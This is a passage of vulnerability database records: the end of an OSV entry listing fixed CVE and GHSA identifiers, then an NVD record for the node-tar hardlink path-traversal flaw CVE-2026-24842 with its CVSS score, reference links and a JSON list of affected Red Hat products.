"url": "https://osv.dev/vulnerability/ghsa-xjpj-3mr7-gcpf"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25881"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33987"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4926"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2022-25881, CVE-2022-33987, CVE-2025-25285, CVE-2025-62718, CVE-2025-69873, CVE-2026-21637, CVE-2026-23745, CVE-2026-24842, CVE-2026-26960, CVE-2026-2950, CVE-2026-29786, CVE-2026-31802, CVE-2026-33750, CVE-2026-33916, CVE-2026-33937, CVE-2026-4800, CVE-2026-4923, CVE-2026-4926, ghsa-23c5-xmqv-rm74, ghsa-2qvq-rjwj-gvw9, ghsa-2w6w-674q-4c4q, ghsa-34x7-hfp2-rc4v, ghsa-3mfm-83xf-c92r, ghsa-3p68-rc4w-qgx5, ghsa-3v7f-55p6-f55p, ghsa-442j-39wm-28r2, ghsa-48c2-rrv3-qjmp, ghsa-72xf-g2v4-qvf3, ghsa-7r86-cg39-jmmj, ghsa-7rx3-28cr-v5wh, ghsa-83g3-92jg-28cx, ghsa-8qq5-rm4j-mr97, ghsa-9cx6-37pm-9jff, ghsa-9ppj-qmqm-q256, ghsa-c2c7-rcm5-vvqj, ghsa-chqc-8p9q-pq6q, ghsa-f23m-r3pf-42rh, ghsa-f886-m6hf-6m8v, ghsa-j3q9-mxjg-w52f, ghsa-pfrx-2q88-qq97, ghsa-qffp-2rhf-9h96, ghsa-r5fr-rjxr-66jc, ghsa-r6q2-hw4h-h46w, ghsa-rc47-6667-2j5j, ghsa-rmvr-2pp2-xj38, ghsa-rp42-5vxx-qpwr, ghsa-w5hq-g745-h8pq, ghsa-xhpv-hc6g-r9c6, ghsa-xjpj-3mr7-gcpf applied in versions: 2.5.10-r2, 2.5.10-r3, 2.5.10-r4, 2.5.10-r5, 2.6.0-r1",
"upstream": [
"CVE-2022-25881",
"CVE-2022-33987",
"CVE-2025-25285",
"CVE-2025-62718",
"CVE-2025-69873",
"CVE-2026-21637",
"CVE-2026-23745",
"CVE-2026-24842",
"CVE-2026-26960",
"CVE-2026-2950",
"CVE-2026-29786",
"CVE-2026-31802",
"CVE-2026-33750",
"CVE-2026-33916",
"CVE-2026-33937",
"CVE-2026-4800",
"CVE-2026-4923",
"CVE-2026-4926",
"ghsa-23c5-xmqv-rm74",
"ghsa-2qvq-rjwj-gvw9",
"ghsa-2w6w-674q-4c4q",
"ghsa-34x7-hfp2-rc4v",
"ghsa-3mfm-83xf-c92r",
"ghsa-3p68-rc4w-qgx5",
"ghsa-3v7f-55p6-f55p",
"ghsa-442j-39wm-28r2",
"ghsa-48c2-rrv3-qjmp",
"ghsa-72xf-g2v4-qvf3",
"ghsa-7r86-cg39-jmmj",
"ghsa-7rx3-28cr-v5wh",
"ghsa-83g3-92jg-28cx",
"ghsa-8qq5-rm4j-mr97",
"ghsa-9cx6-37pm-9jff",
"ghsa-9ppj-qmqm-q256",
"ghsa-c2c7-rcm5-vvqj",
"ghsa-chqc-8p9q-pq6q",
"ghsa-f23m-r3pf-42rh",
"ghsa-f886-m6hf-6m8v",
"ghsa-j3q9-mxjg-w52f",
"ghsa-pfrx-2q88-qq97",
"ghsa-qffp-2rhf-9h96",
"ghsa-r5fr-rjxr-66jc",
"ghsa-r6q2-hw4h-h46w",
"ghsa-rc47-6667-2j5j",
"ghsa-rmvr-2pp2-xj38",
"ghsa-rp42-5vxx-qpwr",
"ghsa-w5hq-g745-h8pq",
"ghsa-xhpv-hc6g-r9c6",
"ghsa-xjpj-3mr7-gcpf"
]
}
FKIE_CVE-2026-24842
Vulnerability from fkie_nvd - Published: 2026-01-28 01:16 - Updated: 2026-07-15 02:18
Severity
8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Summary
node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46 | Patch | |
| security-advisories@github.com | https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v | Exploit, Vendor Advisory | |
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:18480 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:18868 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:2900 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:33371 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:5447 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:6192 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/security/cve/CVE-2026-24842 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://bugzilla.redhat.com/show_bug.cgi?id=2433645 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24842.json |
{
"affected": [
{
"affectedData": [
{
"product": "node-tar",
"vendor": "isaacs",
"versions": [
{
"status": "affected",
"version": "\u003c 7.5.7"
}
]
}
],
"source": "security-advisories@github.com"
},
{
"affectedData": [
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:10.2"
],
"defaultStatus": "affected",
"packageName": "linux-sgx",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.26-7.el10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"packageName": "linux-sgx",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.26-7.el9",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_eus:7.3::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-wildfly",
"product": "Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:7.3.18-3.GA_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"packageName": "network-observability/network-observability-console-plugin-compat-rhel9",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1771227610",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"packageName": "network-observability/network-observability-console-plugin-rhel9",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1771227650",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/code-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1774448966",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/dashboard-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1774476526",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
],
"defaultStatus": "affected",
"packageName": "rhtas/rekor-search-ui-rhel9",
"product": "Red Hat Trusted Artifact Signer 1.3",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1773308315",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"packageName": "io.cryostat-cryostat",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/elasticsearch6-rhel9",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/elasticsearch-operator-bundle",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/elasticsearch-proxy-rhel9",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/elasticsearch-rhel9-operator",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/kibana6-rhel8",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/logging-curator5-rhel9",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "unaffected",
"packageName": "multicluster-engine/console-mce-rhel8",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "unaffected",
"packageName": "multicluster-engine/console-mce-rhel9",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp20/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp21/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp22/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp24/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp25/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp26/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel7",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel8",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel9",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"packageName": "rhacm2/console-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"packageName": "rhacm2/volsync-operator-bundle",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"packageName": "rhacm2/volsync-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "unaffected",
"packageName": "org.jolokia-jolokia-parent",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"packageName": "io.hawt-project",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"packageName": "rhdh/rhdh-hub-rhel9",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"packageName": "nodejs22",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"packageName": "nodejs24",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:6"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:7"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "mozjs60",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:20/nodejs",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:22/nodejs",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:24/nodejs",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "gjs",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:20/nodejs",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:22/nodejs",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:24/nodejs",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "polkit",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "io.apicurio-apicurito",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "io.hawt-hawtio-online",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "io.hawt-project",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "io.syndesis-syndesis-parent",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:hummingbird:1"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Hardened Images",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "unaffected",
"packageName": "io.hawt-project",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "unaffected",
"packageName": "org.jboss.hal-hal-parent",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"packageName": "io.hawt-project",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"packageName": "org.keycloak-keycloak-parent",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"packageName": "io.hawt-project",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"packageName": "org.keycloak-keycloak-parent",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-data-science-pipelines-argo-argoexec-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-kf-notebook-controller-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-notebook-controller-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-console-rhel9",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"packageName": "rhcos",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"packageName": "odf4/mcg-core-rhel9",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"packageName": "odf4/ocs-client-console-rhel9",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-console-rhel9",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "unaffected",
"packageName": "odf4/odf-multicluster-console-rhel9",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "unaffected",
"packageName": "devspaces/code-sshd-rhel9",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "unaffected",
"packageName": "devspaces/machineexec-rhel9",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"packageName": "org.kie.workbench-kie-wb-common",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"packageName": "org.uberfire-uberfire-parent",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "unaffected",
"packageName": "org.keycloak-keycloak-parent",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
}
],
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*",
"matchCriteriaId": "BE6D2DB4-4688-4527-B851-2AEAB030313F",
"versionEndExcluding": "7.5.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
